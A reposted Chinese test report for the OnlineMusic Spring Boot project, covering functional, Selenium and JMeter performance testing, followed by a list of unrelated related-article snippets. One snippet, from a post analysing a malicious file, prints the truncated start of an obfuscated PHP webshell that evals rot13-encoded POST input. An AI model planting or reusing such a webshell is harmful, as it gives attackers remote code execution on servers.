OnlineMusic项目测试报告

news2024/12/24 3:11:20

OnlineMusic项目测试报告

    • 一、项目背景
      • 1.1 测试目标及测试任务的概括
      • 1.2 被测的系统,代码以及文档等信息
    • 二、测试安排
      • 2.1 测试用例设计
      • 2.2 测试方案设计
    • 三、测试分类
      • 3.1 测试方案
        • 3.1.1 功能测试
        • 3.1.2 自动化测试
        • 3.1.3 性能测试
      • 3.2测试结果
        • 性能测试报告

一、项目背景

1.1 测试目标及测试任务的概括

本次测试的目标是确保在线音乐播放器系统在功能完整性、稳定性、性能,确保其能够顺利部署并满足预期的业务需求。具体的测试任务包括以下几个方面:

  • 功能测试:验证音乐播放器的各项功能是否符合需求,包括用户的登录,上传歌曲,删除歌曲,收藏歌曲,搜索音乐、播放、暂停等功能。
  • 用户界面测试:评估播放器的UI是否友好,操作流程是否简便,设计是否符合用户习
  • 稳定性测试:对系统进行长时间的持续使用,检测播放器是否存在崩溃、卡顿等问题。
  • 接口测试:确保播放器与后端服务、数据库、第三方API接口的交互正确性。
  • 安全性测试:检测系统的安全性,防止可能的漏洞攻击,如数据泄露、权限问题等。

1.2 被测的系统,代码以及文档等信息

  • 系统名称:OnlineMusic
  • 项目源码:https://gitee.com/miwenwen/online-music
  • 系统功能:用户的登录,上传歌曲,删除歌曲,收藏歌曲,搜索音乐、播放、暂停等功能。
  • 技术栈:springboot + JDK8
    数据库:Mybatis + MySQL
    第三方插件:sewise-player:https://gitee.com/jackzhang1204/sewise-player

二、测试安排

2.1 测试用例设计

在这里插入图片描述

2.2 测试方案设计

  • 手动测试:主要对用户操作流程、界面显示、功能是否按预期运行进行手动测试。
  • 自动化测试:使用测试工具(如Selenium、Junit)对核心功能进行自动化测试,提高测试效率。
  • 性能测试:使用测试工具(jmeter)进行简单的性能测试

三、测试分类

3.1 测试方案

3.1.1 功能测试

对上述编写的测试用例进行测试
功能测试结果:测试用例100%通过

3.1.2 自动化测试

通过selenium和junit自动化测试工具对代码的核心功能进行自动化测试
自动化测试覆盖模块:登录,上传音乐,删除音乐,收藏音乐,重复收藏音乐,查询音乐等模块
自动化测试代码示例
https://gitee.com/miwenwen/online-music/blob/master/Test01/src/main/java/org/example/MusicPlayAutoTest/Tests.java
自动化测试结果:测试用例100%通过

3.1.3 性能测试

使用jmeter进行简单的性能测试:包括登录,列表页面,上传音乐,收藏音乐等接口进行测试

  • 添加线程组
    压测场景中,通常为是⼀点的逐步增加线程数,因此这里添加SteppingThreadGroup,可以逐步增加线程的负载,逐步启动线程。这里我们添加20个线程。在这里插入图片描述

  • 设置HTTP请求默认值
    项目中涉及到的接口协议、IP、端⼝号全都⼀样,可以单独抽取出来存放在默认值中,其他接⼝就可 以省略不写协议、IP、端⼝号
    在这里插入图片描述

  • 添加login接口
    在这里插入图片描述

  • 添加list接口,对列表页进行简单测试
    因为我们对列表页等页面添加了拦截器的功能,所以这里要设置cookie
    在这里插入图片描述

  • 添加update上传音乐
    在这里插入图片描述

  • 添加likeMusic收藏音乐接口
    在这里插入图片描述

3.2测试结果

  • 聚合报告
    从聚合报告可以看到性能测试过程中整体的数据变化
    在这里插入图片描述

  • ResponseTimesOverTime
    在这里插入图片描述

likeMusic接口响应时间相对较低且稳定,大部分时间保持在1000毫秒以内。
list接口响应时间也较为稳定,但相比likeMusic稍微高一些,大部分时间在1500毫秒左右波动。
login接口响应时间与list相似,同样比较稳定,主要在1500毫秒上下浮动。
update接口响应时间变化较大,开始时较高,接近甚至超过8000毫秒,随后逐渐下降并在后面趋于稳定,大约在3000毫秒附近。

  • TransactionsperSecond(TPS)
    在这里插入图片描述

图中显示了三种类型的事务:likeMusic (success)(蓝色)、list (success)(绿色)和login (success)(红色)
每种事务的柱状图显示了每秒的事务数量。可以看到,list事务的数量相对较高,而login和likeMusic的事务数量相对较低。

  1. 性能趋势
    从图中可以看到,随着时间的推移,list事务的数量有波动,但总体趋势是上升的。这可能表明系统在处理list操作时,随着负载的增加,性能有所提升或者系统资源得到了更好的利用。
    login和likeMusic事务的数量相对稳定,没有明显的上升或下降趋势。
  2. 系统稳定性
    如果事务数量的波动较大,可能表明系统在高负载下不够稳定。从图中看,list事务虽然有波动,但整体趋势向上,这可能意味着系统在逐渐适应负载。
    login和likeMusic事务的稳定性较好,没有出现大的波动。
  3. 优化建议
    针对list事务的上升趋势,可以进一步分析其资源消耗,看是否有优化空间。
    对于login和likeMusic事务,如果业务需求增加,需要考虑系统是否能够支撑更大的负载。
性能测试报告

在这里插入图片描述
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2264504.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Webpack学习笔记(1)

1.为什么使用webpack? webpack不仅可以打包js代码,并且那个且支持es模块化和commonjs,支持其他静态资源打包,如图片、字体。。。 2.如何解决作用域问题? 作用域问题:例如loadsh等库,会绑定window对象,会…

信息安全管理与评估赛题第9套

全国职业院校技能大赛 高等职业教育组 信息安全管理与评估 赛题九 模块一 网络平台搭建与设备安全防护 1 赛项时间 共计180分钟。 2 赛项信息 竞赛阶段 任务阶段 竞赛任务 竞赛时间 分值 第一阶段 网络平台搭建与设备安全防护 任务1 网络平台搭建 XX:XX- XX:XX 50 任务2…

thinkphp5验证码captcha无法显示

排查思路 是否开启gd2以及gd2排查bom排查代码清除缓存 开启gd/gd2 找到php.ini 开启dg2库 去掉前面的;注释,有的可能会带.dll后缀影响不大 然后通过生成图片验证是否成功 查看是否存在bom 修改为utf-8即可,如果你的代码携带bom也需要排查一下 代码问…

90度Floating B to B 高速连接器信号完整性仿真

在180度 B to B Connector 信号完整性仿真时,不会碰到端口设置不方便问题,但在做90度B to B Connector信号完整性仿真时就会碰到端口设置问题。如下面的90度B to B Connector。 公座 母座 公母对插后如下: 客户要求改Connector需符合PCI-E3.…

ffmpeg翻页转场动效的安装及使用

文章目录 前言一、背景二、选型分析2.1 ffmpeg自带的xfade滤镜2.2 ffmpeg使用GL Transition库2.3 xfade-easing项目三、安装3.1、安装依赖([参考](https://trac.ffmpeg.org/wiki/CompilationGuide/macOS#InstallingdependencieswithHomebrew))3.2、获取ffmpeg源码3.3、融合xf…

用人话讲计算机:Python篇!(十五)迭代器、生成器、装饰器

一、迭代器 (1)定义 标准解释:迭代器是 Python 中实现了迭代协议的对象,即提供__iter__()和 __next__()方法,任何实现了这两个方法的对象都可以被称为迭代器。 所谓__iter__(),即返回迭代器自身 所谓__…

【计算机视觉基础CV-图像分类】02-入门详解图像分类、经典数据集、比赛与冠军图像模型演进史

前言 图像分类(Image Classification)是计算机视觉(Computer Vision)中一项基础且核心的任务。简单来说,就是让计算机从给定的类别集合中,为一张输入图片分配一个正确的类别标签。这个过程听起来直观&…

Docker_常用命令详解

这篇文章分享一下笔者常用的Docker命令供各位读者参考。 为什么要用Docker? 简单来说:Docker通过提供轻量级、隔离且可移植的容器化环境,使得应用在不同平台上保持一致性、易于部署和管理,具体如下 环境一致性: Docker容器使得…

CFA知识点梳理系列:CFA Level II, Reading 4 Big Data Projects

这是CFA知识点梳理系列的第四篇文章,前面的文章可以参考以下链接: CFA知识点梳理系列:CFA Level II, Reading 3 Machine Learning

自制数据库迁移工具-C版-06-HappySunshineV1.5-(支持南大Gbase8a、PostgreSQL、达梦DM)

目录 一、环境信息 二、简述 三、架构图 四、升级点 五、支持功能 六、后续计划支持功能 七、安装包下载地址 八、配置参数介绍 九、安装步骤 1、用户创建 2、安装包解压 3、环境变量配置 4、环境变量生效 5、动态库链接检验 (1)HsManage…

petalinux-adi ---移植adi内核(一)

1. 设备树生成 将 前 面 生 成 的 设 备 树 文 件 ( 笔 者 这 里 生 成 的 设 备 树 文 件 在Petalinux 工 程 的components/plnx_workspace/device-tree/device-tree/ 目 录 下 ) pcw.dtsi 、 pl.dtsi 、system-top.dts 以 及 zynq-7000.dtsi 四 个 文 件 直 接 拷 贝 到 内 …

从腾讯云的恶意文件查杀学习下PHP的eval函数

问题来自于腾讯云的主机安全通知&#xff1a; &#x1f680;一键接入&#xff0c;畅享GPT及AI大模型服务&#xff01;【顶级API中转品牌】&#xff1a; https://api.ablai.top/ 病毒文件副本内容如下&#xff1a; <?php function x($x){eval($x);}x(str_rot13(riny($_CBF…

Tool之Excalidraw:Excalidraw(开源的虚拟手绘风格白板)的简介、安装和使用方法、艾米莉应用之详细攻略

Tool之Excalidraw&#xff1a;Excalidraw(开源的虚拟手绘风格白板)的简介、安装和使用方法、艾米莉应用之详细攻略 目录 Excalidraw 简介 1、Excalidraw 的主要特点&#xff1a; Excalidraw 安装和使用方法 1、Excalidraw的安装 T1、使用 npm 安装&#xff1a; T2、使用 …

LLMs之rStar:《Mutual Reasoning Makes Smaller LLMs Stronger Problem-Solvers》翻译与解读

LLMs之rStar&#xff1a;《Mutual Reasoning Makes Smaller LLMs Stronger Problem-Solvers》翻译与解读 导读&#xff1a;这篇论文提出了一种名为rStar的自我博弈互推理方法&#xff0c;用于增强小型语言模型 (SLMs) 的推理能力&#xff0c;无需微调或依赖更强大的模型。rStar…

Solidity 智能合约安全漏洞——普通重入攻击

普通重入攻击 重入攻击&#xff08;Re-Entrancy&#xff09; 一直是以太坊智能合约中最危险的漏洞之一&#xff0c;导致了许多大规模的资金被盗事件。比如 2016 年发生在 The DAO 项目中的 Re-Entrancy 漏洞攻击&#xff0c;造成价值当时 6000 万美元的以太币被盗&#xff0c;…

基于koa服务端脚手架搭建(文件加载器) --【elpis全栈项目笔记】

基于koa服务端脚手架(文件加载器) --【elpis-core】 前言&#xff1a; elpis-core 是一个项目文件加载器。基于一定的约定&#xff0c;将功能不同的代码分类放置到不同的目录下管理。适用于项目代码规范化、减少维护成本、沟通成本&#xff0c;易于扩展。&#xff08;简易版的 …

AQS源码学习

一、park/unpark阻塞唤醒线程 LockSupport是JDK中用来实现线程阻塞和唤醒的工具。使用它可以在任何场合使线程阻塞&#xff0c;可以指定任何线程进行唤醒&#xff0c;并且不用担心阻塞和唤醒操作的顺序&#xff0c;但要注意连续多次唤醒的效果和一次唤醒是一样的。JDK并发包下…

【漏洞复现】CVE-2023-37461 Arbitrary File Writing

漏洞信息 NVD - cve-2023-37461 Metersphere is an opensource testing framework. Files uploaded to Metersphere may define a belongType value with a relative path like ../../../../ which may cause metersphere to attempt to overwrite an existing file in the d…

02-1:python入门基础Python变量与数据类型

一、Python 变量的定义 &#xff08;一&#xff09;定义方式 在 Python 中&#xff0c;变量的定义是通过赋值来实现的&#xff0c;其语法格式非常简洁直观&#xff0c;基本形式为 “变量名 值”。等号左边是你自定义的变量名&#xff0c;右边则是要赋给该变量的值。Python 是…

在Vue3中实现文件上传功能,结合后端API

随着现代Web应用程序的不断发展&#xff0c;文件上传成为了用户交互中不可或缺的一部分。在本篇博客中&#xff0c;我们将深入讨论如何在Vue3中实现一个文件上传功能&#xff0c;并与后端API进行交互。我们将使用Vue3的Composition API&#xff08;setup语法糖&#xff09;来构…